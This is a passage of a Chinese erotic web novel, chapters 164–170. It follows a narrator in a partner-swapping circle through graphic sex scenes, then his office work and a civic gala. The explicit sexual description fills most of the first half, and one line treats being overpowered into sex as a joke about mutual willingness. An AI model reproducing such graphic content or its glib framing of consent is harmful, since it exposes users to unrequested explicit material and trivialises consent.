意外的惊喜,让我浑身麻木,心跳加速。

「原来早痒了嘛!」我望着她的眼睛说。「你能让它不痒吗?」她轻咬嘴唇,
眼神迷濛说。「我能让它越来越痒。」我缩回手,把手中的粘稠擦到她浴巾上说。
「那我就能让你生不如死。」她炽热的挑衅。

话语极尽裸露,撕扯着我的神经,强行把我拽入那片欲海,让我充满欲望,
此刻我只想征服。

我把她拉到眼前,近在咫尺的看着她说「你有那本事?」

「你想试试?」她毫不避让。

「我真想看看!」我充满期待。

她抿起嘴角,诱惑的笑了笑,慢慢推开我的手。坐到床头边,倒了一小杯红
酒,接着拉开床头柜下面,以前还不知道,里面居然是个小冰柜。


第一六四章销魂的夜晚4

李秋月从里面拿出两颗冰块,端起红酒杯,欲把冰块放进嘴里。「你要干什
么?」我疑惑的问。

「等下你就知道了。」她怪异的笑着。

我隐约有点担心,但更多的是期待。她把两颗冰块放进嘴里,接着把杯中的
红酒倒进去。爬回我身边,掀开浴袍,在我目瞪口呆下,直接把我瘫软的龙头衔
进了嘴里。我起初还不瞭解,吹就吹乾嘛弄这么多花样。但龙头进嘴的那一刻,
我瞬间就明白了,彷彿被人抽了一鞭子,腰间一挺,浑身僵硬,原本的软龙眨眼
间僵硬。

如果说龙头泡在温液中很舒服,那泡在温度更高的红酒中就不一样了,简直
是煮蛇肉。红酒就像是沸水,碰到下身敏感的皮肤感觉很烫,那条龙被刺激的全
身绷直,快绷断般。

很快,彷彿皮肤都燃烧起来,那阵炯热感还会蔓延,顺着龙根窜上腹部,然
后沿着全身的经络游走。我几乎下意识的呻吟出声,起初还有些舒服,还能忍受,
不过渐渐就越来越热,全身都发热,毛孔张开,渗出细汗。

「停下,停下,受不了了。」快被烧成灰烬前,我匆忙投降。

她作恶似的还是不松口,就在我快顶不住,要伸手推开她时。她轻轻搅动舌
根,两颗冰块从旁边游近,贴在了龙根上。

我浑身一个激灵,连打几个冷颤,全身放松。当时的感觉,无法用言语表达,
即将热死找到水塘?即将渴死喝到口水?那感觉要更奇妙,更像是被人从火炉中
放了出来,舒服的每一个细胞都在跳跃。好景不长,很快热感消失,寒意袭来。
不知是被刺激的,还是被冻的,龙头从没有这么坚硬过,如果现在拿个秤砣来,
说不定它真能撑起来。寒冷不但冻住了骁龙,还冻住了流淌的血液,每一丝从龙
头返回的血液都变成了冰晶,刺激的我浑身发抖。

刚才是热的出汗,现在是冷的哆嗦,我张着嘴,不知东南西北,天时几何的
表情让她很是得意。本想咬牙坚持住,但只撑了几秒,就放弃了。

我缩腰想要逃跑,慌乱道「不行了,不行了,要结冰了。」

她眼中满是笑意,作恶似的用牙齿轻轻咬住龙身。我无处可逃,绷着身子,
咬紧牙关,寒冷顺着血液,一直从下身冲上头顶,彷彿又无数把冰锥不停在戳我。
我哭哭笑笑道「快死了,真的快死了!」

看着我求饶的眼神,她才满意的挑动舌尖,转换冰块,让我从新侵入红酒中,
终於从冰窟窿中跳出来。

龙身回暖,又是那种极度的舒适,我舒服的呼出口气,瘫软的靠在枕头上。
这不止是冷热的交替,还是极限的挑战,只此一个轮回,就耗光了我所有的精神,
折磨的我生不如死。

依然没舒服多久,又开始发烫,热的难受。不过这次,她开始前后活动,没
有再持续的折磨我。我瞬间在冰冷与炎热中穿梭,彷彿在南极与沙漠中穿行,爽
的神经都一张一缩,跟着她的动作跳舞。

「这就是冰火两重天?」我想起一个词彙,问道。

她娇嗔的白了我一眼,示意我别说话,专心感觉。我陷入那阵妖媚,精神随
着她飞跃,跟着她嬉戏。

只用了短短两分钟,我就感觉腹部发热,开始彙集能量。看书的别笑话我,
我敢打赌,到了这种时候,你们也坚持不过两分钟。

我挺动腰部,去顶她。有时力道太大,顶的她喉咙深处,有滴滴红酒从她嘴
角滑落,她只能一边擦拭嘴角的红酒,一边承受我的冲击。就在我感觉能量彙集
完毕,就要发射时,她突然仰头,把我放了出来。

我靠,当时像是从飞机上落下,直直坠落到地面,摔的浑身碎骨,全身空虚
的没了知觉。我痛苦道「你干嘛!」说着去扶她头部,想把她按回去。

她躲开,把嘴里的红酒和冰块吐回酒杯,作恶似的笑说「你爽完了,等会我
爽什么。」

「你先让我爽了,等会我保证你让爽。」我急切说,现在终於明白什么是不
上不下了,感觉太难受了。

「鬼才信你们这些男人的话,要爽一起爽。」她撇嘴道,说完躺在床上,幽
幽的说「现在换你了,快点。」

「干嘛?」我身体不爽,心头更不爽,故意问。

「爱抚我啊!装什么傻。」她咬了下嘴角,气呼呼的嗔道。

看到她放软的身体,潺潺流水的洞府,我哪还有心情爱抚,恨不得直接压上
去,把龙头挺进洞府,捣乱那口宝洞,把水全吐在里面。


第一六五章销魂的夜晚5

看穿我的想法,李秋月曲膝踩在床上说「你不做,今晚休想。」

女人就会拿这事诱惑,牵制男人,可悲的是,男人永远也防不住这招。压下
心头呼之欲出的欲火,只得乖乖照办。我有些性急,还有些想报复她的捉弄。放
平她双腿,曲起手指,直奔水濂山。甚至作恶的想,用手指让她死去活来。

猜出我的想法,她夹紧双腿,关紧城门,委屈道「干嘛这么粗鲁,要温柔点
。如果找不到我敏感的部位,今晚就别想体会到我的热情。」

被将了一军,我愣在当场。她眨眼放电道「如果找到我的敏感,我还有很多
绝招哦,保证能让你欲仙欲死。」

这句话就像剂强心针,瞬间让我活过来,欲火升腾,差点爆棚。脸上挂起笑
意,轻柔的抚上她玉颈,指尖慢慢游走,滑到锁骨,胸前,轻轻解开浴巾。

那对雪白,大小适中的水球,从里面弹跳出来。太美了,太亮了,差点闪瞎
我双眼。细腰像条水蛇般滑溜,还有那夹紧的双腿中,若隐若现的黑色丛林,以
及掩藏其中的仙山乐府。

真的被挑起爱慕的欲火,我目不转睛的盯着,感觉永远也看不够。

我的癡迷,让她很开心。迎合似的挺腰,迷情似的说「还不快点。」

语气诱惑,柔柔软软,就想快要融化。看来她也早就受不了了,我颤抖着手,
扶住她膝盖,一点点扳开。动作轻柔,像是拨开草丛,担心动静太大,就会吓跑
藏在里面的那只兔子。

双腿打开,兔子还在,让人欣喜。小兔正埋头吃草,还没发现我的到来,没
有直接去捉那只兔子,顺着白皙的大腿,慢慢游走向上,躲开酥胸,滑到俏脸抚
摸。

她闭上眼,享受似的轻蹭。顺着脸颊返回,捏了下粉嫩的葡萄,她轻皱了下
眉头,反应不像。我继续向下,滑到漆黑的草丛,试探性的拨弄了一下小白兔,
她颤了下,反应还是不像。

这让我有些好奇,女人的敏感部位不都是在这两点吗!不过我没有气馁,反
而更激动了,探索女人的身体,比进入密室寻宝更能让人兴致盎然。

我扶起她的白腿,伸出舌尖,顺着大腿内侧,轻舐向上,细腰,胸部,玉颈,
耳垂,还是没找到。迟疑着回来,丹顶,肚脐,仙府,甚至连脚丫子都舔了遍。

她也很快坠入其中,反应很热切,抱在我背上的手不停揉捏,可就是没有那
种触到敏感后的反应,与热情。我郁闷的看着她,有点怀疑这是不是个女人,女
人的敏感点居然对她都没用。

「别停啊!」看来她被燃烧的难受,拉扯我说。她躺在哪儿享受,我累的只
想死,问说「你乾脆告诉我,敏感在哪儿的了。这样找来找去,何时是个头,说
不定没找着,我先累死在床上了。」

「你没用心找。」她望着我,皱着俏鼻眨眼说。她真的很会放电,那颗春痣
瞬间就能让人迷醉,陷入。我心头一亮,试探着慢慢贴近她眼角,还没靠近,她
就紧张的闭上眼,软的像条鱿鱼。口中的热气刚吹拂到她眼角,她就随之颤抖,
知道找对点了,我很喜悦。亲吻那颗春痣,她浑身紧绷,搂着我背的手,抓了一
下,反应比我攀上酥胸,舔到仙府还大。

我欣喜若狂,费这么大劲,原来在这儿。求证似的伸出舌尖轻触,她颤的更
厉害了,双手紧捏我手臂的肉,轻哼起来。

我很激动,也有些意外,从没想到居然会有这样的女人,只能说这不是肉体
上的敏感,而是精神上敏感吧,也可能是双从敏感。找到个新奇的玩具,温柔的
抱着她的头,亲吻她的眼角,舌尖在那颗春痣上回旋。

她闭上双眼享受,娇躯颤抖着喃呢道「你终於找到了。」

我卖力的挑逗,她给的反应很大,不停扭动腰肢来回应。没几下,她就想要
了,双腿死死盘在我腰间,仙府在我下身摩擦,急切的喘息道「快进入我。」

这次轮到她着急了,我作恶似的继续挑逗,就是不进攻。

知道我在报复,她嗔怒的瞪着我,但很快就受不了了。主动扶住我龙根,想
引导我进入。我弓着腰,就是不让她如愿。

「啊!」她受不了,发泄似的尖叫。

接着突然翻身,我没有防备,还没回过神来就被她按在身下。差点被吓傻,
如何也想不到,她会这么激烈。

她才不管我的反应,翻身骑到身上,扶住龙根就滑了进去。以前看新闻说有
男人被强奸还不信,现在我信了,只要女人愿意,随时都可以,你情我愿嘛!

-
第一六六章销魂的夜晚6

李秋月的身体早已做好迎接准备,场地开阔,雨水充足,刚滑进去就被钳住。
非常紧,被夹的我浑身一个哆嗦。她非常熟练,起伏的度掌握的恰到好处,第一
次就打起节拍,啪啪的响起来。

看着她在身上捣腾,我也乐意享受。她微皱眉头,起初还有点不适,不过身
体的飢渴,让她忽略了那点不适。忘情的吞吐,关口彷彿能随意控制,每次都随
着进出开合。让我的心,也随着她的起伏跳动。

女人一旦渴求起来,比男人更需要,她越坐力量越大,我都快被坐麻木了,
但更多的是湿爽。

钻头探入地底,带起的石油漫天喷洒,每一次钻到井底,她会舒赞眉头,显
得很满足,回旋时又会变得空虚。我的目光不停在她的脸上,和身下来回,能看
清桃花包裹着擎天柱开放时,她的每一个表情变化。

直着腰太累,几分钟就没力了,她伏下用手撑着身子,但动作丝毫不肯减慢,
胸前那对小可爱跳跃,晃动的很厉害。长发像随风摇摆的稻草,在我胸前漂浮,
滑动,我伸手揉捏她的大腿。

她很快投入,随着啪啪声一起吟唱。她的喘息很特别,时而痛苦的尖叫,时
而舒服的呻吟,时而又像憋着口气,要把我战死马下般,憋着气重喘,简直是场
百鸟合奏。

听着悦耳的啪啪声,以及那动听的呻吟,我一直云游天外,喜不自禁。

她是那种欲火越烧越旺,越战越勇的女人。府邸内需要时,她就变换方位,
转到侧面。此刻的她似乎忘记了我的存在,在她眼中,只剩下那桿钻探的银枪。

她身上浮起的细密汗珠,转身背对着我,夹紧双腿,蹲在我胯间起伏。原本
就很紧了,这样刻意夹紧后,那种强大的吸力,紧实感,翻了一倍不止。我被坐
的全身酥麻,每次拍打,都有股电流随着钻头传遍全身,对我神经造成次冲击。
翘臀像团跳动的火花,在我眼前起舞,我连伸手掌握的力气都没有。

龙头越来越热,很快就有点顶不住了,她却没事人般,力道,速度不但不减,
反而有越来越强的趋势。我可不想自己去了,她还没满足,那样丢人不说,肯定
还会被看扁。

为了刺激她,我作恶似的加大电视音量。她正面对电视,被里面的呻吟吸引,
看到电视中,正在公车上,众目睽睽下交欢的画面。身子一下子就绷紧,尖叫声
也更大了,感觉像是要与电视中比个高下,两个声音此起彼伏,从毫不停歇到融
合成一片。

府邸内闭合的速度快了,力道大了,我知道她的肉体,精神也游走到爆发的
边缘。扶住她的臀部,不让她活动,然后挺腰撞击。

现在是为了把她一起送上云霄,我一开始就卯足了劲儿,毫不留情,每次冲
击她都被撞的一惊,身子连晃,靠扶住我的双腿才能稳住。

如此几次她就有些受不了了,手在我腰间乱抓乱挠,我速度越来越快,她秀
发飞舞,像是暴风中的粉尘。她想逃避,可身体又不愿逃避,她就这样矛盾的承
受着,尖叫声持续不断。

攻了两分钟,她回应似的与我对撞。我们互不相让,府邸的门越来越近,每
次进出带出的雨露越来越多,我被吸的全身发抖,那股水柱已经到了龙口,但我
强忍住不发。拚命的撞击,终於她身子缩紧,迎着我的撞击疯狂的坐下来。

彗星撞击地球,火雨倾泻而下,在也忍不住了,水柱喷涌出。被弹簧一直压
制住,水柱喷出的力道很大,她被冲击的身子连颤,再也直不起腰,瘫软的伏在
我脚上,抱着我的脚趾吮吸起来。

全身被火雨淋了个透,她像是真的能控制,那阵吸力还在一下下传来,让原
本就麻痺的龙头,更加无法自控,连着吐了好几次。每次都冲击的她娇喘阵阵,
身子一缩一缩的。

精气神都随着吐光了,我乏力的躺在床上回味。她居然还有力气揉捏我绷紧
的肌肉,让我慢慢放松,舒服的不能自己。

不想她太累着,把她拉回到床上。看着脸颊红润,眼中水光浮动,更有神迷
人了。想到她之前帮我吹的举动,好奇的问「你是干什么的?」

「干嘛问这个?」她反问。

我能看出她眼中有丝防备,轻松说「就想知道,这有什么好保密的。」接着
大方的把自己的职业讲出来。

她考虑了一下,才说「公关经理。」

「公关经理?」我很吃惊,前些天她收到敲诈照片时,我瞎猜过几个身份,
什么富家女,女强人等等,但怎么也没想到这个。

她白了一眼说「有什么大惊小怪,不就是拉拉关系,解决些矛盾嘛!你们公
司没有?」

「有,当然有。」我笑说。「你不会瞧不起我吧!」她突然从床上坐起来,
看着我说。「怎么会,只是根据你的形象,没想到而已。」我一把将她拉下来,
解释说。「那我像干什么的?」她眨巴着眼问。

「像富婆。」我一口咬定。

「去你的!我要是有那命就好了。」她娇嗔道,不过能看出有些开心,还有
点失落。

「早晚会有的。」我安慰说。不想纠缠这个问题,既然能排除敲诈的可能,
接着问道「前几天照片的事,难道是你得罪了什么人?」

说到那事,她的情绪低落了不少,不过能看出她也很疑惑。苦闷的说「我们
这种职业,每天对人陪笑脸,巴不得大家都开心,有什么事也只想着大事化小,
小事化了,讨好还来不及,怎么会得罪人。」

看她是真的烦恼,毕竟只是个女人,不想让这事坏了兴致。我转移话题问道
「你刚才说有好多花样?都有些什么?」

「你想干什么?」她眼神怪异的看着我。

「说出来听听,我看看哪种不错,有机会点餐啊!」我暧昧的笑道。

「你当我这儿是餐馆啊!还点餐。」她有点啼笑皆非。

「就说说呗,让我也长点见识,还可以回家试试嘛!」我怂恿。

「不说,说白了多没劲。以后有的是机会,一种种试不就知道了!」她不上
当。

她坚持不开口,拿她没辙,只能作罢。我舔着脸问「那你等会,准备用什么
招式。」

「我都快累死了,等会该你照顾我了。」她说完闭上眼,等待着享受。

她的反应,我很郁闷。不过今天事后的感觉让我还有点害怕,没有前两次那
么在意了,对妻子的挂念,也少了几分。

……


第一六七章丈夫出差了1

接下来发生的事,顺理成章。李秋月不愧是搞公关的,不止会察言观色,知
道如何挑逗男人的欲望,还明白什么时候该点到即止,对男人非常瞭解。

我和她又来了两次,后面两次她不在主动,像个小女般被动的承受,关键的
时刻也懂得给我足够的回应。让我身体,精神享受到极大的愉悦。

我们战的酣畅淋漓,直到双方都精疲力竭才停止。她很投入这场男女间的战
争,完事后抱着我,非要枕着我的手臂入眠。

第二天我被电话吵醒,是妻子打来的。问我起床没有,我这时才从昨晚的激
情中回过神来,想起睡在我身边的女人,是别人的妻子,慌乱的回应已经起来了。

挂掉电话,立刻把李秋月从床上拉起来,不知是不是昨晚确实累了,她比我
还能睡,叫了半天才醒。我迅速洗漱完,她漱口时都半瞇着双眼,不停抱怨。

出门见到妻子时,起色比前两次好点,至少表面上还是能跟我讲话。脸色却
不怎么好看,似乎有点小闹心。我大概猜到可能是秦伟的关系,也没多在意,毕
竟才认识不久,有些问题不好谈。有空的时候,好好补偿下妻子就行了。

下到会所停车场,钱昊已经等在哪里,其余人不是已经回家,就是还没起来。
分别前李秋月问我要了个*****。看妻子跟她合得来,主要是这女人身怀绝技,
就给了她。

开车和妻子刚离开会所,她就抱怨起来。话语都是数落秦伟的,说什么昨晚
她还没准备好,秦伟就来了,她正在兴头上,秦伟就结束了。

居然能跟我谈这个,看来她心底也开始接受,习惯俱乐部的这些人,和事了,
至少不再像以前那么抗拒,害怕。也可能是秦伟确实让她很上火,我听得有点郁
闷,还有点想笑。床事自顾自己的,不管是男人,还是女人,都会让对方很无奈。

刚进家门,妻子就缠着我想要,我昨晚真是出空了,哪里还有体力和心情。
我知道她的为人,如果是李秋月还能自己到厕所解决,换成她肯定会憋着。可这
事越憋越难受,越憋越飢渴,何况身边还睡着个男人,那心里肯定比猫挠还痒痒
。到了家,妻子自然会彻底爆发,看她缠在我身上,可怜兮兮的模样,我成全了
她,帮她解决了需要。不过不是用老二,而是用手指和舌头,她睡在床上,我跪
坐在床前。

今天的她特别敏感,可能是心头那把火烧太久,我的手指刚碰触到,她就开
始喘息,只活动了几下,就清水流淌。配合舌头时,她双腿紧紧夹在我头上,叫
的很狂野,似乎想把心底累积的欲火全发泄出来。只用了几分钟,她就不行了,
弓起身子抱着我的头,噗嗤噗嗤全泄了出来。

这样居然都让她到了高潮,躺在床上,一动也不动,像条被抽了筋的小蛇,
还是我用纸巾帮她擦拭,用被子帮她盖了起来,她就这样睡着了。

我回去继续昨天的工作,眼看日子越来越近,有些着急。以前想着只要能交
差就好,但这次我想尽量弄的完美。那天晚上在岳父家的情形,不时在我脑中浮
现,还有小舅子的那些话,不时在我耳边回旋,让我无法停下来。确实不能在这
样下去,不管是对妻子,还是对这个家。

一头扎进去就忘了时间,直到天快黑,妻子叫我吃饭,才感觉到饿,连她什
么时候起床的都不知道。

吃过饭,晚上酒吧的聚会也没去,给叶紫嫣打了个电话,说有些事要忙活,
她没多问,只惋惜的说有时间聚。挂掉电话,躲进又房里接着工作。

妻子明白我为何会突然改变,知道现在劝我也没用,她也不多说什么,只默
默做好分内的事。我在房里,她也不过来吵我,给我泡了杯茶,就一个人躲沙发
上看电视。

接下来的一个星期,有点没日没夜。晚上赶到两,三点,每天都要妻子催促
几次才睡,我不睡她也不睡,说什么都没用。只坚持了三天,她就撑不住,在沙
发上睡着了,我有些疼惜,虽然我很愧疚,心里却很感动,温暖。

不忍让她跟着受累,接下来几天都尽量早睡,早起。晚上十一点就睡觉,早
上五点就起床,只有这样,才能暂时让她脱离我这不规律的生活。


第一六八章丈夫出差了2

到了高玥办公室,才她不在。问总经理办公室门口的二秘,才知道高玥陪老
总谈生意去了,下午才回来。只得给二秘留了话,又撅回办公室。

终於搞定,心情放松不少,有些紧张,还有点期待。毕竟这个方案费了很大
劲,自己也很满意。

焦急的等到下午,做别的事都有点心不在焉。快下班时,高玥才回来,踩着
高跟鞋,走进我办公室。她回来我原本很高兴,不过看到她后,案子的事就暂时
被忘在脑后。

估计今天见的是个重要客户,高玥穿的很正式,亮银色高跟鞋矮了几公分,
但更合脚,距离感没那么遥远。那双引人遐想的长腿,套了双肉丝,虽然有点可
惜,但也有不同的味道,男人对肉丝总是无法免疫。

白色短裙,衬衣,小西服,配上眼镜,小马尾,整个人让人感觉端庄,大方,
亲近了不少。

高玥像是没看见我的癡呆,进门就笑道「没想到你怎么快就弄好了,前几天
上面还跟我谈这事,我们还担心这么急,你弄不出来呢。」

我惊醒过来,拿起桌上的文件,递给高玥说「上面既然急着要,我就加了点
班,赶出来了。」

高玥诧异的接过文件,随意翻阅了一下,笑说「还不错嘛!」

「能交差就好。」我谦虚道,其实高兴的差点欢呼起来。能得到高玥的讚叹,
可不容易,知名学府毕业,加上自身优秀的条件,她从来眼光就眼高。除了公司
的几个大佬,极少高看人一眼,更别说夸人了。

「行,我马上就给你送上去。」高玥收起文件说。我笑着点头。高玥准备转
身离开时,突然想起什么问道「在太阳城那天晚上,你们在干什么?」

「啊?什么?」其实知道高玥在问什么,我故意拖延向着说辞。「我好像看
到你们在追什么人。」高玥说。「哦,你说那个偷车贼啊!他前些日子偷了我朋
友的车,在哪儿被我们撞见了。」我胡扯道。

听到偷车贼,高玥有些激动,问道「抓到没有?」

「当然抓到了,不过车被他卖了,只拿回些钱。」我圆谎说。「那也不错,
挽回点损失。」高玥没有怀疑,笑说。「嗯!」我配合点头。「没事我先过去了。」
高玥说完走出了办公室。

高玥踩着猫步,走路时翘臀有规律的左右摇摆,小马尾真像马儿在奔跑般飘
飘浮浮。我嚥下口唾沫,不觉幻想着在床上干那张大屁股时,会是什么感觉。直
到那俏丽的身影消失在视线中,我才回过神来。甩了甩头,把这龌蹉的想法赶出
脑中,最近不知怎么了,以前看到高玥,绝不敢癞蛤蟆想吃天鹅肉,最近却会不
自主的往那方面想。上次撞到那对大波,她手足无措的样子也不时浮现。还知道
自己的身份,明白双方的差距,断了这个念头。找了个事,专心捣鼓到下班。

隔天收到高玥的回信,说上面看了很满意,决定按那个方案实行,我当时心
里爽歪了。

工作上的大事搞定,终於能空出心思照顾家里。这些天起早贪黑,过度劳累,
根本没怎么照顾到妻子,更别说床事。她什么都不说,也不知道她想不想。

回家时买了瓶酒,让妻子炒了几个好菜,一起喝了几杯。我高兴,她也开心,
当晚问她想不想时,她用实际行动给了我答覆。她热情,我也兴奋,藉着酒劲与
她大战了三百回合,换过好几个姿势,要不是那木床做的够结实,恐怕会被摇垮
了。

绷紧的神经一旦松懈下来,才会感觉到疲惫,完事后我们都睡的很熟。

接下来的几天神清气爽,感觉什么事都顺了。晚上床事,妻子比以前放开了
很多,不敢试的也敢壮着胆陪我玩玩了,不敢在家看的片子,也偶尔会陪着我一
起看看了。

虽然她看的时候还是很害羞,但敏感的她一旦被挑起情欲,爆发的能量就会
很惊人,常常让我也有点吃不消,顶不住了。总体来说,晚上是性福了。

工作上也一样,即使不重要案子,依然灵感如潮。又过了几天,正在办公室
捣鼓一个小案子,电话突然响了起来。

这些天太忙活,家里都摆不平,一直没空去酒吧,本以为是叶紫嫣打来的。
看到号码惊讶了下,居然是梁玉珍那女人。

本想让它自然挂断,想了想,那女人虽然有时有点可恶,但心还算不坏,对
妻子也不错。还不知道她有什么事,就接通了电话。


第一六九章丈夫出差了3

估计等上火,梁玉珍标准的大嗓门咆哮而来「这么久才接电话,在泡那个小
妹子啊?」

「别胡说。」耳朵被震的受不了,我拉开电话。

「不方便就说声,我找芸涓妹子聊去。」梁玉珍继续吼,生怕我身边有人听
不见。

「别在这儿威胁我,有话快说,正上班,忙活着呢!」拿这女人没辙,我郁
闷回。

不知是我的话起了作用,还是没心思跟我打嘴仗,梁玉珍笑说「想不想看演
出,我这儿有张大礼堂的票。」

我防备道「这么好的事,你会找上我?不会有诈吧!」

梁玉珍啐道「切,少自我感觉良好,真以为自己很有魅力啊。原本是给我家
那位准备的,结果他早上临时有事,被调派到下面走访去了。」说完语气一转道
「诶,你要不要,不要我可给别人了。我这儿还要忙着走台,热场呢。」

说的轻巧,不过我还是担心这女人没那么好心,沉吟着不敢答应。

梁玉珍知道我的心思,像是自言自语道「听说,还有那个最近很火的,专唱
民谣的来哦。」

「张淑贞?」我脱口道。

「嗯,好像是吧!」梁玉珍笑说,还没等我接话,就故意道「既然你忙,那
就算了,我给别人。」

「哎,等等!我晚上正好没事。」知道梁玉珍在钓鱼,可我只能乖乖上钩。
「是吗?」梁玉珍惊异。

「是啊!」我坚定。

「我听你刚才的语气,好像不情愿来嘛!」鱼儿上钩,梁玉珍还打算戏耍一
番。

「没有,哪儿会。不过你那里有几张票,我想带芸涓来。」我继续放低姿态
。张淑贞是近两年才出来的新人,专唱地方的民谣,山歌。她声音很有灵气,音
域宽广,唱歌承转起伏,非常好听。短短两年就累积了不少人气,才二十出头,
就频频登上各大舞台,节庆会场,电视直播,大型演唱会都唱过。加上是我们这
儿的地方人,很多人都以她为荣。我和妻子都喜欢她,有她的直播时,妻子总会
在电视前守候,如果弄到两张票,妻子还不开心死。

「这是庆祝晚会,又不是公开演出,口气还不小,开口就是几张。光这一张
就费了我好大劲,要不是我家那位有事,哪儿轮得到你。」梁玉珍酸酸的说。难
怪没收到张淑贞来演出的消息,原来只是内部演出。听出是在埋汰我,但我不敢
反抗,顺从道「那怎么办?想想办法呗!」

「没办法,只有一张。」梁玉珍肯定说。「要不我让妻子来吧!」我折中说
。「罗里吧嗦的,要来就自己来,不然我可送别人了。」梁玉珍直接戳我要害。

找不准这女人什么意思,平常不是跟妻子很要好的嘛!怎么到了这节骨眼儿
上就分家了。不过这个机会也不能白白放过,我匆忙答应「行,行,我来。」寻
思着妻子不能去现场,我就把那段拍下来,如果能要张签名就更好了。

「那这么说定了,晚上七点进场,可要准时到,别放我鸽子,不然我可不饶
你。」梁玉珍一口气说玩,没等我答应就挂断了电话。

给妻子打电话,请了个假。当听说我去看张淑贞的现场时,她欢呼的惊叫,
可听到只有一张票,又气愤的惋惜,费力解释了一番,她才平息。嘴里依旧不停
在埋怨我,偶尔还嘀咕梁玉珍几句。

下了班,开车直奔大礼堂。这儿原本早上八点到晚上六点会向游客开放,不
过现在已经关闭。站在礼堂外,给梁玉珍打了个电话,她让我等会,马上就出来。

无聊的站在礼堂外,观赏起礼堂的夜景来,这里我和妻子以前来过几次。整
座建筑由大礼堂和东,南,北楼四大部分组成,可容纳四千二百人。外观像放大
的天坛,碧绿的琉璃瓦大屋顶,大红廊柱,白色栏杆,重簷斗拱,画栋雕樑,色
彩金碧辉煌,气势宏伟壮观,仿天坛有祷祝「国泰民安」之意。晚上灯光开启后,
更加七彩变幻,步入其中,如览仙宫。没让我久等,梁玉珍很快出来,在礼堂台
阶上招呼我。走上去,差点不敢认,她已经化好妆,穿着件白纱长袖裙。这种民
族舞的服饰粗看起来很宽松,其实该紧的地方,都束的很紧。既展露出了线条,
舞蹈时又能飘幻,让人着迷,这就是诱惑与含蓄的结合,性感又不失得体。面对
我不可置信的神情,梁玉珍得意的转了个圈说「怎么,被本仙子迷惑了?」

回过神来,想起她的彪悍,以及那副漂亮皮相下的本性,我叹气说「你要是
个仙子,也是个刁蛮仙子。」

「既然不想看,有本事就别来啊。」梁玉珍瞄了我一眼,不满说,「当然不
是,你这么风华绝代,艳压群芳,为了看你一眼,就是死我也要赶来。」我厚着
脸皮,拍马屁说。「这还差不多。」梁玉珍满意的笑说,递给我张票道「不跟你
说了,还要进去准备,记得按位置坐。」说完就沖沖忙忙,甩着小蛮腰回去了。

我拿着票看了眼,第四排,还不错。验票,进了礼堂。

以前来过,不过都是白天,晚上这里儿又是另一副光景,而且以前是来参观,
今天可是来看演出,感觉都不一样。毕竟这地方,若是平常,可不是我这种人能
进来看表演的。

走进表演大堂,才发现有很多人到了。偶尔还能认出一,两个,都是在地方
电视台中露过面的。第一排还空空如也,知道那都是给大佬级人物预留的位置,
他们如果没到,表演都不会开始。

等了十多分钟,才有群人说说笑笑的从大堂外走进,相互交谈着,一个个眼
高於顶,连看也不看座位上这些人一眼,那气场就不是我们这些人能比的。

全是熟面孔,如果说在坐的不少人只是偶尔在电视上露次面,那这些就是隔
三差五就要出来露露脸。什么歌颂功绩,表彰大会时绝少不了他们。暗自数了下,
市里的前几把手,几乎到齐了。

我一个小平民,平常连公司的大领导都少见,更别说这么群大人物。从没想
过能这么近距离看到他们,即使有了准备,心还是止不住咯噔咯噔跳的厉害。

走到前排,这群人相互客套着,陆续入座。从座位,座次也能看出他们的权
势,但这不是我这个小老百姓该关心的事,只能当成看热闹,毕竟我和他们就像
两个世界的人,永远不可能有交集。

……

第一七零章丈夫出差了4

「唷,看来那个张淑贞的能量很大嘛!」我留意前面的情况,左手边不知何
时坐了个人,他也正望着第一排,唏嘘道。

我有点诧异,明明半分钟前还是空位,这人鬼精鬼精的打个晃就钻进来了。
留意了两眼,二十三,四岁的样子,很年轻,偏偏梳了个老气的中分。不认识他,
我识趣的没有接话。

他却很自来熟,凑近问道「兄弟你那个部门的?」

「没部门。」我看了他一眼,基於礼貌回。

「赶场的?」他像是发现新大陆般,兴奋的叫起来。接着就自己确定道「不
错哦,居然能混进这里面来。」

「我是凭票进来的。」我亮了下票说,心头很郁闷,我看起来像是个四处钻
空子的人吗?

「嘿嘿,开个玩笑。」他笑着说,向我伸手道「陆云,规划局的。」

我疑惑的看着这个比我还年轻,有点油头粉面,还很自来熟的人,犹豫着要
不要伸手。

陆云摊开另一手里的票说「别这么看着我,我可是凭本事拿票进来的。」

看在在陆云心底,已经把我当成混进来哪一类人了,不过严格说,也没错。
不想太失礼,我伸手说「徐磊。」

「你也是冲着张淑贞来的?」陆云热情的问。

我点了点头,对这种人有些无奈,他满脸笑容,你总不能冷漠的对应。

说话这茬,台上走出两个地方知名的主持。开始致词,歌颂些什么有的没的,
接着又逐个介绍了前排的人,当然是按照座次的顺序。每介绍一个,台下就响起
阵热烈的掌声,当事人还会起来挥手致意。

这一流程走下来,半个小时过去了。不就开个庆祝晚会,干嘛搞的这么繁琐。
我心头有些恼火,面上还是装得很开心的样子,跟着热烈鼓掌。

「这里面的规矩就这样,麻烦的很,所以我才不想去第一排。」陆云似乎看
出我的无聊,在一旁说。不过前面的话被我自动忽略了,后面那句话才将我吓了
跳,我疑惑的打量了陆云一眼。

「嘿嘿,我要是凭关系,也能坐到哪儿去。」陆云笑嘻嘻的说,那风轻云淡
的样子,就像在说坐上哪排,是轻而易举的事。

我依旧看着陆云,就是不接话。他自己都说了是规划局的,前面那排中,规
划局局长都排到边上去了,这话我如何能信。

「怎么?不信?」陆云问。

「当然不是。」我半信半疑说,不过没有多问,有些事,我知道也没用,还
不如不知道清静。台上的表演已经开始,先上台的是些地方上知名的歌手,唱的
也都是红歌。这些歌从小听到大,特别是上学时,下课就放,听久了都有些腻了。
还没看到梁玉珍上台,估计她们文工团的表演在后面。

陆云也和我差不多,他乾脆转头不看,问我说「你干什么的?」

有点无语,我跟他又不熟,看他样子,也不想是取向有问题的人,干嘛偏偏
拉着我聊。我微微扫了眼,很快明白了,他身边坐的是个五十多岁的老太,估计
也是没办法。

反正没事,聊天打发时间也不错,我回答道「在一个公司做企划。」

我们有一茬没一茬的聊,起初纯粹是想打发时间,不过聊了会后,我就被勾
起了兴致。不知该说陆云是现代青年,没那么多顾及,还是他根本无所谓,什么
都敢说。连他机关里那些见不得人的事,都敢小声跟我讲,不过都是男女间的事
儿,连前排他顶头上司,规矩局局长也没能倖免。后来我判断,两者都有关系。
这小子还没结婚,可聊起女人来比我还通达,框框条条数落出很多,我听着都羨
慕得紧。有些感叹自己窝囊,赶不上前面的人就算了,还被后面的赶超了。

我正听的起劲,陆云突然停下来,转头望向台上。我疑惑的回头,看到主持
人正在介绍陈淑贞上场。靠,居然还能一心二用,讲的天花乱坠,眼睛也没闲着。
